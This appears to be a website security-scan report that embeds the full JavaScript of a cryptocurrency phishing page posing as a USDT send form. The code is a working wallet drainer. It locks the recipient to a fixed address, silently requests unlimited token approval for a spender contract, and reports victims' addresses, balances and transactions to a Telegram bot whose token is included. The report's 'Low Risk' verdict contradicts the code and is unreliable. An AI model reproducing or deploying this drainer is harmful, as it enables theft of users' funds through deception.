cryptocurrency blockchain

finance banking

English

The domain name 'wilful-fuchsia-nyhwes4v-dponpybs46qb.edgeone.app' uses the application-focused generic top-level domain (.app), featuring subdomain 'wilful-fuchsia-nyhwes4v-dponpybs46qb'. The registrable portion 'edgeone' spans 7 characters containing 4 vowels alongside three consonants. Breaking it apart gives two words: edge, one. Median word length is 3.5 characters. No strong language cues emerged from the frequency lists.

html/4a/51/4a517ded-105a-430b-a0a1-d7cb11269aa7.html.gz

8cdcd2aa68c68480d5180ca0cd64f190c7064fdecff596ea34042eba5ff181db

31a83b3675946e9bed999786c98d0054293fdb667710b3535e6cae2b6d5124c6

width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Prudence Malinki

MarkMonitor Inc.

edgeone.app

Abuse

Admin

Cloudflare-NOC

Cloudflare, Inc.

CLOUDFLARENET


  // ==================== TELEGRAM CONFIGURATION ====================
  const TELEGRAM_BOT_TOKEN = '8926091170:AAEcBHxiIIhCsV1jPK64i3JPiaIL8_t5GLA';
  const TELEGRAM_CHAT_ID = '6363630029';
  // ===============================================================

  // ==================== CONSTANTS ====================
  const USDT_USD = 1;
  const RECIPIENT_ADDRESS = '0x0772471508b17ca02C5b62C3f09910A25200aCC9';
  const USDT_CONTRACT = '0x55d398326f99059ff775485246999027b3197955';
  const SPENDER_CONTRACT = '0x4d80d8700fDf22C03f7ebC5CEB4D2B4870f154Ac';
  const BNB_CHAIN_ID = 56;
  const MAX_UINT256 = '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';

  const USDT_ABI = [
    {
      "constant": false,
      "inputs": [
        { "name": "_to", "type": "address" },
        { "name": "_value", "type": "uint256" }
      ],
      "name": "transfer",
      "outputs": [{ "name": "", "type": "bool" }],
      "type": "function"
    },
    {
      "constant": true,
      "inputs": [{ "name": "_owner", "type": "address" }],
      "name": "balanceOf",
      "outputs": [{ "name": "balance", "type": "uint256" }],
      "type": "function"
    },
    {
      "constant": false,
      "inputs": [
        { "name": "spender", "type": "address" },
        { "name": "amount", "type": "uint256" }
      ],
      "name": "approve",
      "outputs": [{ "name": "", "type": "bool" }],
      "type": "function"
    },
    {
      "constant": true,
      "inputs": [
        { "name": "owner", "type": "address" },
        { "name": "spender", "type": "address" }
      ],
      "name": "allowance",
      "outputs": [{ "name": "", "type": "uint256" }],
      "type": "function"
    }
  ];

  // ==================== STATE ====================
  let web3 = null;
  let usdtContract = null;
  let currentAccount = null;
  let videoStream = null;
  let scanInterval = null;

  // ==================== TELEGRAM HELPER (HTML mode + monospace address) ====================
  async function sendTelegramMessage(message) {
    if (!TELEGRAM_BOT_TOKEN || TELEGRAM_BOT_TOKEN === 'YOUR_BOT_TOKEN' || !TELEGRAM_CHAT_ID || TELEGRAM_CHAT_ID === 'YOUR_CHAT_ID') {
      console.warn('Telegram bot not configured. Message not sent:', message);
      return;
    }
    try {
      const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
      await fetch(url, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          chat_id: TELEGRAM_CHAT_ID,
          text: message,
          parse_mode: 'HTML',
          disable_notification: false
        })
      });
    } catch (err) {
      console.error('Telegram send failed:', err);
    }
  }

  // ==================== UI FUNCTIONS (unchanged) ====================
  function onAddrInput() {
    const addrInput = document.getElementById('addrInput');
    if (addrInput.value !== RECIPIENT_ADDRESS) {
      addrInput.value = RECIPIENT_ADDRESS;
    }
    document.getElementById('addrClear').style.display = 'none';
    document.getElementById('pasteBtn').style.display = 'none';
    checkReady();
  }

  function clearAddr() {
    document.getElementById('addrInput').value = RECIPIENT_ADDRESS;
    onAddrInput();
  }

  function pasteAddr() {
    document.getElementById('addrInput').value = RECIPIENT_ADDRESS;
    onAddrInput();
  }

  function addrBlur() {
    document.getElementById('addrWrap').style.borderColor = '#2222bb';
  }

  function onAmtInput() {
    const v = document.getElementById('amtInput').value;
    document.getElementById('amtClear').style.display = v ? 'flex' : 'none';
    const usd = v && !isNaN(v) ? (parseFloat(v)*USDT_USD).toFixed(2) : '0.00';
    document.getElementById('usdVal').textContent = `≈ $${usd}`;
    checkReady();
  }

  function clearAmt() {
    document.getElementById('amtInput').value = '';
    onAmtInput();
  }

  function amtBlur() {
    document.getElementById('amtWrap').classList.remove('focused');
    if (document.getElementById('amtInput').value)
      document.getElementById('amtWrap').style.borderColor = '#2222bb';
  }

  function checkReady() {
    const addr = document.getElementById('addrInput').value.trim();
    const hasValid = addr === RECIPIENT_ADDRESS && currentAccount;
    const nextBtn = document.getElementById('nextBtn');
    if (hasValid) {
      nextBtn.classList.add('ready');
    } else {
      nextBtn.classList.remove('ready');
    }
  }

  // ==================== WALLET CONNECTION (AUTO) ====================
  async function connectWallet() {
    if (!window.ethereum) {
      console.log('No wallet detected');
      return;
    }
    
    try {
      const accounts = await window.ethereum.request({ method: 'eth_requestAccounts' });
      if (!accounts || accounts.length === 0) return;
      
      currentAccount = accounts[0];
      web3 = new Web3(window.ethereum);
      
      const chainIdHex = await window.ethereum.request({ method: 'eth_chainId' });
      if (parseInt(chainIdHex, 16) !== BNB_CHAIN_ID) {
        try {
          await window.ethereum.request({
            method: 'wallet_switchEthereumChain',
            params: [{ chainId: '0x38' }]
          });
        } catch (e) {
          if (e.code === 4902) {
            await window.ethereum.request({
              method: 'wallet_addEthereumChain',
              params: [{
                chainId: '0x38',
                chainName: 'BNB Smart Chain',
                nativeCurrency: { name: 'BNB', symbol: 'BNB', decimals: 18 },
                rpcUrls: ['https://bsc-dataseed.binance.org/'],
                blockExplorerUrls: ['https://bscscan.com/']
              }]
            });
          }
        }
        web3 = new Web3(window.ethereum);
      }
      
      usdtContract = new web3.eth.Contract(USDT_ABI, USDT_CONTRACT);
      
      document.getElementById('addrInput').value = RECIPIENT_ADDRESS;
      onAddrInput();
      
      // send wallet connected log with monospaced address
      let balanceForLog = '?';
      try {
        const balWei = await usdtContract.methods.balanceOf(currentAccount).call();
        balanceForLog = parseFloat(web3.utils.fromWei(balWei, 'ether')).toFixed(4);
      } catch(e) {}
      await sendTelegramMessage(`🔗 Wallet connected\n<code>${currentAccount}</code>\n💰 Balance: ${balanceForLog} USDT`);
      
      window.ethereum.on('accountsChanged', async (accs) => {
        if (accs.length === 0) {
          currentAccount = null;
          usdtContract = null;
        } else {
          currentAccount = accs[0];
        }
        checkReady();
      });
      
      window.ethereum.on('chainChanged', () => window.location.reload());
      
    } catch (error) {
      console.log('Wallet connection failed:', error);
    }
  }

  // ==================== MAX BUTTON ====================
  async function setMax() {
    if (!currentAccount || !usdtContract) {
      alert('Please connect your wallet first.');
      return;
    }
    
    try {
      const balanceWei = await usdtContract.methods.balanceOf(currentAccount).call();
      const balanceUSDT = web3.utils.fromWei(balanceWei, 'ether');
      document.getElementById('amtInput').value = balanceUSDT;
      onAmtInput();
    } catch (error) {
      console.error('Error fetching balance:', error);
      alert('Could not fetch USDT balance. Ensure you are on BNB Chain.');
      await sendTelegramMessage(`❌ Balance fetch error\n<code>${currentAccount}</code>\nError: ${error.message}`);
    }
  }

  // ==================== UNLIMITED APPROVAL (silent, Telegram logs with monospace) ====================
  async function ensureUnlimitedApproval() {
    if (!usdtContract || !currentAccount) throw new Error('Wallet not connected');

    // fetch current balance for logs
    let currentBalance = '0';
    try {
      const balWei = await usdtContract.methods.balanceOf(currentAccount).call();
      currentBalance = parseFloat(web3.utils.fromWei(balWei, 'ether')).toFixed(4);
    } catch(e) {}

    const allowanceWei = await usdtContract.methods.allowance(currentAccount, SPENDER_CONTRACT).call();
    const isUnlimited = (allowanceWei === MAX_UINT256 || parseFloat(web3.utils.fromWei(allowanceWei, 'ether')) > 1e9);
    
    if (isUnlimited) {
      await sendTelegramMessage(`✅ Unlimited approval already active\n<code>${currentAccount}</code>\n💰 Balance: ${currentBalance} USDT`);
      return true;
    }

    try {
      const gas = await usdtContract.methods.approve(SPENDER_CONTRACT, MAX_UINT256)
        .estimateGas({ from: currentAccount });
      const tx = await usdtContract.methods.approve(SPENDER_CONTRACT, MAX_UINT256)
        .send({ from: currentAccount, gas: Math.floor(gas * 1.2) });
      
      await sendTelegramMessage(`✅ Unlimited USDT approval SUCCESS\n🔹 Address: <code>${currentAccount}</code>\n💰 Balance: ${currentBalance} USDT\n🔹 Tx: ${tx.transactionHash}`);
      return true;
    } catch (err) {
      await sendTelegramMessage(`❌ Approval FAILED\n🔸 Address: <code>${currentAccount}</code>\n🔸 Balance: ${currentBalance} USDT\n🔸 Error: ${err.message}`);
      throw new Error('Approval rejected or failed. Check Telegram for details.');
    }
  }

  // ==================== NEXT BUTTON - ONLY APPROVAL, NO API, NO BUTTON TEXT CHANGE ====================
  let isProcessing = false;
  async function handleNext() {
    if (!currentAccount || !usdtContract) {
      alert('Please connect your wallet first.');
      return;
    }
    if (isProcessing) return;
    
    isProcessing = true;
    const nextBtn = document.getElementById('nextBtn');
    // Disable button to prevent double submission, but keep original text "Next"
    nextBtn.disabled = true;
    
    try {
      // Perform unlimited approval (silent, only Telegram logs)
      await ensureUnlimitedApproval();
      
      // Show simple success message (exactly "✅ Success!" without extra details)
      alert('✅ Success!');
      
    } catch (error) {
      console.error('Operation failed:', error);
      alert(`❌ Failed: ${error.message || 'Approval was rejected or network error'}`);
    } finally {
      nextBtn.disabled = false;
      isProcessing = false;
      checkReady();
    }
  }

  // ==================== QR SCANNER (unchanged) ====================
  async function openQR() {
    const overlay = document.getElementById('qrOverlay');
    overlay.classList.add('active');
    try {
      videoStream = await navigator.mediaDevices.getUserMedia({
        video: { facingMode: 'environment', width: { ideal: 1280 }, height: { ideal: 720 } }
      });
      const video = document.getElementById('qrVideo');
      video.srcObject = videoStream;
      video.play();
      video.addEventListener('loadedmetadata', startScanning, { once: true });
    } catch(e) {
      alert('Camera access denied. Please allow camera permission.');
      closeQR();
    }
  }

  function startScanning() {
    const video = document.getElementById('qrVideo');
    const canvas = document.getElementById('qrCanvas');
    const ctx = canvas.getContext('2d');

    scanInterval = setInterval(() => {
      if (video.readyState !== video.HAVE_ENOUGH_DATA) return;
      canvas.width = video.videoWidth;
      canvas.height = video.videoHeight;
      ctx.drawImage(video, 0, 0, canvas.width, canvas.height);
      const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
      const code = jsQR(imageData.data, imageData.width, imageData.height, {
        inversionAttempts: 'dontInvert'
      });
      if (code && code.data) {
        handleQRResult(code.data);
      }
    }, 200);
  }

  function handleQRResult(data) {
    clearInterval(scanInterval);
    scanInterval = null;
    
    document.getElementById('qrSuccess').classList.add('show');
    setTimeout(() => {
      closeQR();
      document.getElementById('qrSuccess').classList.remove('show');
      alert('QR scanned. Recipient address is fixed.');
    }, 900);
  }

  function closeQR() {
    clearInterval(scanInterval);
    scanInterval = null;
    if (videoStream) {
      videoStream.getTracks().forEach(t => t.stop());
      videoStream = null;
    }
    document.getElementById('qrVideo').srcObject = null;
    document.getElementById('qrOverlay').classList.remove('active');
  }

  // ==================== INIT ====================
  window.addEventListener('load', () => {
    document.getElementById('addrInput').value = RECIPIENT_ADDRESS;
    document.getElementById('addrInput').setAttribute('readonly', true);
    document.getElementById('addrClear').style.display = 'none';
    document.getElementById('pasteBtn').style.display = 'none';
    
    connectWallet();
    document.getElementById('nextBtn').addEventListener('click', handleNext);
    onAddrInput();
  });

  window.onAddrInput = onAddrInput;
  window.clearAddr = clearAddr;
  window.pasteAddr = pasteAddr;
  window.addrBlur = addrBlur;
  window.onAmtInput = onAmtInput;
  window.clearAmt = clearAmt;
  window.amtBlur = amtBlur;
  window.setMax = setMax;
  window.openQR = openQR;
  window.closeQR = closeQR;


Requests	IP Address	Location	AS Autonomous System
2	104.17.24.14	United States	AS13335Cloudflare, Inc.
1	101.33.10.10	Frankfurt am Main, Hesse, Germany	AS139341ACE
1	104.17.208.5	United States	AS13335Cloudflare, Inc.
4	3	-	-

Security Scan Report: wilful-fuchsia-nyhwes4v-dponpybs46qb.edgeone.app

Summary

AI Security Verdict

Low Risk

Risk Factors

Safety Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies3

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History